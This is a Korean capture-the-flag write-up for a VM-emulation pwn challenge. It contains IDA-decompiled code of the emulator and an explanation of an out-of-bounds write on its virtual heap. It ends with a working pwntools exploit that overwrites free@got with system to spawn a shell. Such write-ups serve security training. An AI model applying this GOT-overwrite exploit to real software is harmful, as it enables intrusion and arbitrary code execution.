2022. 2. 18. 03:03ㆍCTF write up
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *vm_name; // [rsp+0h] [rbp-80h]
__int64 rs; // [rsp+8h] [rbp-78h]
Vmware vm; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+78h] [rbp-8h]
canary = __readfsqword(0x28u);
vm_name = calloc(1uLL, 0x40uLL);
sub_40230D();
offsetunk = -1;
memset(&vm, 0, 0x60uLL);
vm.SP = int::0x1000;
vm.BP = int::0x1000;
heap_addr = (__int64)&heap_start;
stack_addr = (__int64)&stack_start + int::0x1000 - 8;
printf("Input VmName > ");
rs = (int)read(0, vm_name, 0x40uLL);
if ( *((_BYTE *)vm_name + rs - 1) == 10 )
*((_BYTE *)vm_name + rs - 1) = 0;
puts("Welcome");
printf("This is a program that emulates the OP code written by %s\n", (const char *)vm_name);
printf("Input OpCode > ");
opcode = cread(int::0x1000);
emulate(&vm);
free(vm_name);
free(opcode);
return 0LL;
}
unsigned __int64 __fastcall emulate(Vmware *vm)
{
char opc_8; // [rsp+1Fh] [rbp-31h]
unsigned __int64 opc_64; // [rsp+20h] [rbp-30h]
unsigned __int64 opc_64_2; // [rsp+28h] [rbp-28h]
__int16 opc_16; // [rsp+45h] [rbp-Bh]
char opc_8_2; // [rsp+47h] [rbp-9h]
unsigned __int64 canary; // [rsp+48h] [rbp-8h]
canary = __readfsqword(0x28u);
opc_16 = 0;
opc_64 = 0LL;
opc_64_2 = 0LL;
while ( 1 )
{
opc_8 = get_op_1(vm);
switch ( opc_8 )
{
case 0:
case 3:
LOBYTE(opc_16) = get_op_2(vm);
HIBYTE(opc_16) = get_op_2(vm);
break;
case 1:
case 2:
case 8:
LOBYTE(opc_16) = get_op_2(vm);
break;
case 4:
case 5:
case 6:
case 7:
LOBYTE(opc_16) = get_op_2(vm);
HIBYTE(opc_16) = get_op_2(vm);
opc_8_2 = get_op_2(vm);
opc_64 = op_read(vm, SHIBYTE(opc_16));
opc_64_2 = op_read(vm, opc_8_2);
break;
default:
break;
}
switch ( opc_8 )
{
case 0:
opc_64 = op_read(vm, SHIBYTE(opc_16));
op_push(vm, opc_16, opc_64);
break;
case 1:
opc_64 = op_read(vm, opc_16);
op_push(vm, 0x10u, opc_64);
break;
case 2:
opc_64 = op_read(vm, 16);
op_push(vm, opc_16, opc_64);
break;
case 3:
bin_ofs = 0;
opc_64 = op_read(vm, opc_16);
bin_ofs = 1;
opc_64_2 = op_read(vm, SHIBYTE(opc_16));
op_alloc(vm, (unsigned __int8)opc_16, HIBYTE(opc_16), opc_64, opc_64_2);
bin_ofs = -1;
bin[0] = 0LL;
qword_4050D8 = 0LL;
bin_size[0] = 0LL;
qword_4050C8 = 0LL;
break;
case 4:
op_push(vm, opc_16, opc_64_2 + opc_64);
break;
case 5:
op_push(vm, opc_16, opc_64 - opc_64_2);
break;
case 6:
op_push(vm, opc_16, opc_64_2 * opc_64);
break;
case 7:
op_push(vm, opc_16, opc_64 / opc_64_2);
break;
case 8:
context_reg(vm, opc_16);
break;
case 9:
return __readfsqword(0x28u) ^ canary;
default:
exit(-1);
}
}
}
__int64 __fastcall op_read(Vmware *vm, char opc_8)
{
__int64 current_stack_rsp; // [rsp+18h] [rbp-18h]
__int64 opc8andF; // [rsp+18h] [rbp-18h]
__int64 rs; // [rsp+18h] [rbp-18h]
__int64 opc_8andf_2; // [rsp+18h] [rbp-18h]
__int64 opc_64; // [rsp+20h] [rbp-10h]
switch ( opc_8 & 0xF0 )
{
case 0x10:
if ( vm->SP == vm->BP )
exit(-1);
current_stack_rsp = *(_QWORD *)(stack_addr + vm->SP);
vm->SP += 8LL;
break;
case 0x20:
opc8andF = opc_8 & 0xF;
switch ( opc8andF )
{
case 1LL:
opc_64 = (unsigned __int8)get_op_1(vm);
break;
case 2LL:
opc_64 = (unsigned __int16)get_op_2(vm);
break;
case 4LL:
opc_64 = (unsigned int)get_op_4(vm);
break;
case 8LL:
opc_64 = get_op_8(vm);
break;
default:
exit(-1);
}
if ( offsetunk != -1 )
bssunk[offsetunk] = opc_64;
rs = (unsigned __int8)get_op_1(vm);
if ( offsetunk != -1 )
bssunk_2[offsetunk] = rs;
switch ( rs )
{
case 1LL:
return *(unsigned __int8 *)(heap_addr + opc_64);
case 2LL:
return *(unsigned __int16 *)(heap_addr + opc_64);
case 4LL:
return *(unsigned int *)(heap_addr + opc_64);
case 8LL:
return *(_QWORD *)(heap_addr + opc_64);
default:
exit(-1);
}
case 0x30:
if ( (opc_8 & 0xFu) > 5 )
exit(-1);
return *(&vm->AX + (opc_8 & 0xF));
case 0x40:
opc_8andf_2 = opc_8 & 0xF;
switch ( opc_8andf_2 )
{
case 1LL:
return (unsigned __int8)get_op_1(vm);
case 2LL:
return (unsigned __int16)get_op_2(vm);
case 4LL:
return (unsigned int)get_op_4(vm);
case 8LL:
return get_op_8(vm);
default:
exit(-1);
}
default:
exit(-1);
}
return current_stack_rsp;
}
__int64 __fastcall op_push(Vmware *vm, unsigned __int8 opc_8, __int64 opc64)
{
__int64 opc64_2; // rax
char v5; // [rsp+27h] [rbp-9h]
char opc8andF; // [rsp+27h] [rbp-9h]
unsigned __int64 heap_offset; // [rsp+28h] [rbp-8h]
if ( (opc_8 & 0xF0) == 16 ) // stack push (opc64)
{
if ( vm->SP <= 7uLL )
exit(-1);
vm->SP -= 8LL;
opc64_2 = opc64;
*(_QWORD *)(vm->SP + stack_addr) = opc64;
}
else if ( (opc_8 & 0xF0) == 32 )
{
v5 = opc_8 & 0xF;
if ( (opc_8 & 0xF) == 1 )
{
heap_offset = (unsigned __int8)get_op_1(vm);
}
else
{
switch ( v5 )
{
case 2:
heap_offset = (unsigned __int16)get_op_2(vm);
break;
case 4:
heap_offset = (unsigned int)get_op_4(vm);
break;
case 8:
heap_offset = get_op_8(vm);
break;
default:
exit(-1);
}
}
if ( heap_offset >= int::0x1000 - 8 )
exit(-1);
opc8andF = get_op_1(vm);
switch ( opc8andF )
{
case 1:
opc64_2 = heap_addr + heap_offset;
*(_BYTE *)(heap_addr + heap_offset) = opc64;
break;
case 2:
opc64_2 = heap_addr + heap_offset;
*(_WORD *)(heap_addr + heap_offset) = opc64;
break;
case 4:
opc64_2 = heap_addr + heap_offset;
*(_DWORD *)(heap_addr + heap_offset) = opc64;
break;
case 8:
opc64_2 = opc64;
*(_QWORD *)(heap_offset + heap_addr) = opc64;
break;
default:
exit(-1);
}
}
else
{
opc64_2 = opc_8 & 0xF0;
if ( (_DWORD)opc64_2 == 48 )
{
if ( (opc_8 & 0xFu) > 5 )
exit(-1);
opc64_2 = opc64;
*(&vm->AX + (opc_8 & 0xF)) = opc64;
}
}
return opc64_2;
}
int __fastcall write_state(Vmware *vm, char opc8)
{
__int64 op_1; // [rsp+18h] [rbp-8h]
unsigned __int64 op_2; // [rsp+18h] [rbp-8h]
unsigned __int64 op_4; // [rsp+18h] [rbp-8h]
unsigned __int64 op_8; // [rsp+18h] [rbp-8h]
switch ( opc8 & 0xF0 )
{
case 16:
printf("RSP: %llu\n, RBP: %llu\n", vm->SP, vm->BP);
return printf("STACK[%llu]: %llu\n", vm->SP, *(_QWORD *)(stack_addr + vm->SP));
case 32:
switch ( opc8 & 0xF )
{
case 1:
op_1 = (unsigned __int8)get_op_1(vm);
return printf("DATA[%llu]: %llu\n", op_1, *(unsigned __int8 *)(heap_addr + op_1));
case 2:
op_2 = (unsigned __int16)get_op_2(vm);
if ( op_2 >= int::0x1000 )
exit(-1);
return printf("DATA[%llu]: %llu\n", op_2, *(unsigned __int16 *)(heap_addr + op_2));
case 4:
op_4 = (unsigned int)get_op_4(vm);
if ( op_4 >= int::0x1000 )
exit(-1);
return printf("DATA[%llu]: %llu\n", op_4, *(unsigned int *)(heap_addr + op_4));
case 8:
op_8 = get_op_8(vm);
if ( op_8 >= int::0x1000 )
exit(-1);
return printf("DATA[%llu]: %llu\n", op_8, *(_QWORD *)(heap_addr + op_8));
default:
exit(-1);
}
case 48:
printf("AX: %llu\n", vm->AX);
printf("BX: %llu\n", vm->BX);
printf("CX: %llu\n", vm->CX);
printf("DX: %llu\n", vm->DX);
printf("SI: %llu\n", vm->SI);
printf("DI: %llu\n", vm->DI);
printf("BP: %llu\n", vm->BP);
printf("SP: %llu\n", vm->SP);
return printf("PC: %llu\n", vm->VM_RIP);
default:
exit(-1);
}
}
unsigned __int64 __fastcall op_alloc(Vmware *vm, __int16 opc_16, __int16 opc_16_2, __int64 opc_64, __int64 opc_64_2)
{
int i; // [rsp+2Ch] [rbp-34h]
__int64 heap_offset; // [rsp+30h] [rbp-30h]
_WORD ar_opc_16[2]; // [rsp+3Ch] [rbp-24h]
_QWORD ar_opc_64[3]; // [rsp+40h] [rbp-20h]
unsigned __int64 cananry; // [rsp+58h] [rbp-8h]
cananry = __readfsqword(0x28u);
ar_opc_16[0] = opc_16;
ar_opc_16[1] = opc_16_2;
ar_opc_64[0] = opc_64;
ar_opc_64[1] = opc_64_2;
for ( i = 0; i <= 1; ++i )
{
switch ( ar_opc_16[i] & 0xF0 )
{
case 16:
if ( vm->SP <= 8uLL )
exit(-1);
vm->SP -= 8LL;
*(_QWORD *)(vm->SP + stack_addr) = ar_opc_64[i ^ 1];
break;
case 32:
heap_offset = bin[i];
if ( (ar_opc_16[i ^ 1] & 0xF0) == 32 )
{
switch ( bin_size[i ^ 1] )
{
case 1LL:
*(_BYTE *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
break;
case 2LL:
*(_WORD *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
break;
case 4LL:
*(_DWORD *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
break;
case 8LL:
*(_QWORD *)(heap_offset + heap_addr) = ar_opc_64[i ^ 1];
break;
}
}
else
{
*(_QWORD *)(heap_offset + heap_addr) = ar_opc_64[i ^ 1];
}
break;
case 48:
if ( (ar_opc_16[i] & 0xFu) > 5 )
exit(-1);
*(&vm->AX + (ar_opc_16[i] & 0xF)) = ar_opc_64[i ^ 1];
break;
}
}
return __readfsqword(0x28u) ^ cananry;
}
최종적으로 분석을 마치면 다음과 같다. ida의 Structure 선언 기능을 이용하면 그나마 보기 쉽게 만들 수 있다. 이제까지 풀었던 vm 문제는 그냥 opcode 슉슉 하는게 끝인게 대부분인데 해당 문제는 정말 제대로 된 vm 문제이다보니 레지스터는 물론이고 stack이나 heap까지 구현되어있다...
일단 입력받은 opcode를 통해 일렬의 연산을 하고 그대로 종료해버리니 메모리 leak 없이 한번에 끝내야 한다. 다행히 산술 연산한 값을 op_push 하는 부분이 있으니 이를 이용해서 라이브러리 값을 가져와서 offset을 더하거나 빼버리고 바로 got 같은 곳에 넣어버리면 될 것 같다. 특히 가상 stack, heap 구역은 bss 영역에 할당되어있는데다 딱히 검증 과정이 많지 않기 때문에 OOB(Out Of Boundary)를 이용한 임의의 주소 쓰기(Arbitrary Adress Write) 공격으로 GOT 영역을 바사삭 할 수 있을 것 같다.
익스 과정을 어느정도 구상했으면 실제로 해당 루틴을 실행할 수 있는 악용가능한 가젯을 찾아야 한다.
가젯까지 완벽하게 있는 것을 확인했으니 이제 열심히 익스 코드를 짜면 된다. 하나씩 opcode를 넣어가면서 gdb로 까보면 그리 어렵지 않게 익스 코드를 완성할 수 있다.
쉘을 얻는데는 여러가지 방법이 있겠지만 나는 최종적으로 다음과 같은 방법을 이용했다.
1. vm_name <- /bin/sh
2. vm.AX <- print_addr - 0x15a20 (system_addr)
3. free@got <- vm.AX
4. free(vm_name) -> system('/bin/sh')
from pwn import *
p = process('./MemoryManager')
e = ELF('MemoryManager')
p.sendlineafter(b'> ', b'/bin/sh\x00')
p1 = b'\x05' + b'\x30\x00' + b'\x28\x00' + b'\x48\x00' + p64(0xffffffffffffef50) + b'\x08'
p1 += p64(0x15a20)
# opc_64 = printf_addr
# opc_64_2 = 0x15a20 (print - system)
# vm.AX = opc_64 - opc_64_2 (system_addr)
p2 = b'\x03' + b'\x28\x00' + b'\x30\x00' + p64(0xffffffffffffef38) + b'\x08'
# bin[0] = offset
# opc_64_2 = vm.AX (system_addr)
payload = p1 + p2 + b'\x09'
raw_input()
p.sendlineafter(b'> ', payload)
p.interactive()
리버싱만 잘한다면 크게 어렵지 않게 풀 수 있는 문제였다. 하여튼 IDA 때문인 것으로..